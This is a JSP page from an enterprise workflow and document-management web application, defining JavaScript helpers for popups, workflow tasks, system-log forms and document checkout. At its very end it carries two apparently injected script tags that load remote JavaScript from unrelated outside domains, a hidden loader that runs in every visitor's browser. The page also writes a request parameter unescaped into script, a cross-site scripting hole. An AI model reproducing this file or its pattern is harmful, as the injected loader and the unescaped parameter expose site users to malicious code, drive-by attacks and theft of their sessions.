<%@ page language="java" %>
<%@ page contentType="application/x-javascript" %>
<%@ page import="com.dcivision.alert.bean.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.workflow.bean.WorkflowProgress" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listPersonalHomeForm" scope="request" class="com.dcivision.framework.web.ListPersonalHomeForm"/>
<script>
//--------------init---------------------------------------------
function paramInit(){
  //----defined the refresh ICON SRC-------------------------------
  this.whenRefreshIcon='<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconWhenRefreshing.gif';
  //-----init DWR ERROR MSG----------------------------------------
  this.getRemoteErrorMsg=function(){
    var remoteErrorMsg = '<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.message.header")%>';
    remoteErrorMsg+= '<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.message.prefix")%>';
    remoteErrorMsg+= '<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "error.dwr.remote_no_response")%>';
    remoteErrorMsg+= '<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.message.suffix")%>';
    remoteErrorMsg+= '<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.message.footer")%>';
    return remoteErrorMsg;
  }
  return this;
}
//----END-----------
//---------------------meeting-----------------------------------
function ViewMeeting(url){
  var name = "DCIVisionViewMeeting";
  var popW = "850";
  var popH = "600";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  return false;
}
//---------------------workflow tracking && task function---------------------------------
function OpEditProcess(trackID, id, workflowRecordID, workflowStepID, delegateUserRecordID, workflowProcessStatus, navMode){
  var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode="+navMode+"&trackID=" + trackID + "&ID=" + id + "&workflowRecordID=" + workflowRecordID + "&workflowStepID=" +workflowStepID+"&delegateUserRecordID="+delegateUserRecordID;
  var name = "DCIVisionViewWorkflowProgress";
  var popW = "850";
  var popH = workflowProcessStatus == "<%=WorkflowProgress.STATUS_PENDING%>"?"580":"635";
  var feature = "status=no,menubar=no,scrollbars=no,resizable=yes,toolbar=no";
  //showDim();
  OpenCenteredPopup(url, name, popW, popH, feature);
  //$import('<%= request.getContextPath() %>/js/test.js',OpenCenteredPannel(url,null,false),'alert(\'xx\')');
  //OpenCenteredPannel(url,null,false);
  return false;
}
function OpViewProcess(trackID, id, workflowRecordID, userRecordID){
  var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=V&trackID=" + trackID + "&ID=" + id + "&workflowRecordID=" + workflowRecordID + "&workflowUserID=" + userRecordID;
  var name = "DCIVisionViewWorkflowProgress";
  var popW = "850";
  var popH = "600";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  return false;
}

function OpEditProcessForForm(trackID, id, workflowRecordID, formRecordID){
  var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=E&trackID=" + trackID + "&ID=" + id + "&workflowRecordID=" + workflowRecordID + "&formRecordID=" +formRecordID;
  var name = "DCIVisionViewWorkflowProgress";
  var popW = "850";
  var popH = "600";
  var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  return false;
}

function OpViewTrack(trackID, workflowProgressID, workflowRecordID, formRecordID){
  var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTrack.do?SHOW_HEADER_FOOTER=N&showFullList=<%=listPersonalHomeForm.getShowFullList()%>&navMode=V&trackID=" + trackID + "&workflowProgressID=" + workflowProgressID + "&ID=" + workflowRecordID + "&formRecordID=" + formRecordID;
  var name = "DCIVisionViewWorkflowTrack";
  var popW = "850";
  var popH = "600";
  var feature = "status=no,menubar=no,scrollbars=no,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  return false;
}
//------------------system log function --------------------------------------------
function OpShowCustSystemLogList(disableActionType){
  document.listPersonalHomeForm.disableActionType.value=disableActionType;
  document.listPersonalHomeForm.navMode.value=NAV_MODE_LIST;
  document.listPersonalHomeForm.submit();
  return (false);
}
function OpUpdateSystemLogList(systemLogID, opMode){
  document.listPersonalHomeForm.opMode.value=opMode;
  document.listPersonalHomeForm.actionSystemLogID.value=systemLogID;
  document.listPersonalHomeForm.navMode.value=NAV_MODE_LIST;
  document.listPersonalHomeForm.submit();
  return (false);
}

// For selecting different notification for modules
function popupNotificationPanel(objectType, objectID, actionType, updateAlertID, updateAlertTypeID, updateAlertSystemLogID, message) {

  var url = "<%= request.getContextPath() %>" + "/ListUpdateAlertSummary.do?objectType=" + objectType + "&objectID=" + objectID + "&actionType=" + actionType + "&updateAlertID=" + updateAlertID + "&updateAlertTypeID=" + updateAlertTypeID + "&updateAlertSystemLogID=" + updateAlertSystemLogID + "&message=" + message + "&updateReadOperation="+true;
  var name = "DCIVisionPopupNotificationPanel";
  var popW = "800";
  var popH = "200";

  if (actionType == '<%=UpdateAlert.INVITE_TYPE%>'){
    popW = "840";
    popH = "450";
  }
  var feature = "scrollbars=yes,resizable=yes";
  return OpenCenteredPopup(url, name, popW, popH, feature);
}
//------------------------systemLog function end--------------------------------------
</script>

<script language="javascript">
<!--
g_curr_function_code="<%=SystemFunctionConstant.DMS_PUBLIC_FOLDER%>";

<%if ("true".equals(request.getAttribute("SUCCESS_CHECKOUT"))) {%>
function INIT() {
  //Wait For AJAX Execute.....
  
  //then redirect..... 
  window.location.href = "<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=request.getParameter("documentID")%>&version=TOP&isDownload=Y";
  //window.open("<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=request.getParameter("documentID")%>&version=TOP&isDownload=Y",null,null);
  
}
<% } %>

function CustOpCheckin(documentID, parentID, rootID, curFunctionCode, lockUserID, curUserID, navMode,hasRelationship){
  if(hasRelationship==true){
    popupRelationshipWarning(documentID,parentID,rootID,'update',lockUserID);
  }else{
    return OpCheckin(documentID,parentID,rootID,curFunctionCode,lockUserID,curUserID,navMode);
  }
}
-->
</script>


<script>
/*
submitForm = function(form){
	  var kw = {
	                mimetype: "text/plain",
					formNode: form,
					load: function(t, txt, e) {
						  dojoSetValue("DialogContent",txt);
						  
					},
					error: function(t, e) {
						//dojo.debug("Error!... " + e.message);
					}
				};
				dojo.io.bind(kw);
				return false;
	}

dojoSetValue = function(eleId,value){
 var ele= document.getElementById(eleId);
 var ele_childs = ele.getElementsByTagName("DIV");
 for(i=0;i<ele_childs.length;i++){
    if(ele_childs[i].getAttribute("dojoattachpoint")=="containerNode"){
       ele_childs[i].innerHTML = value;
    }
 }
}*/

</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>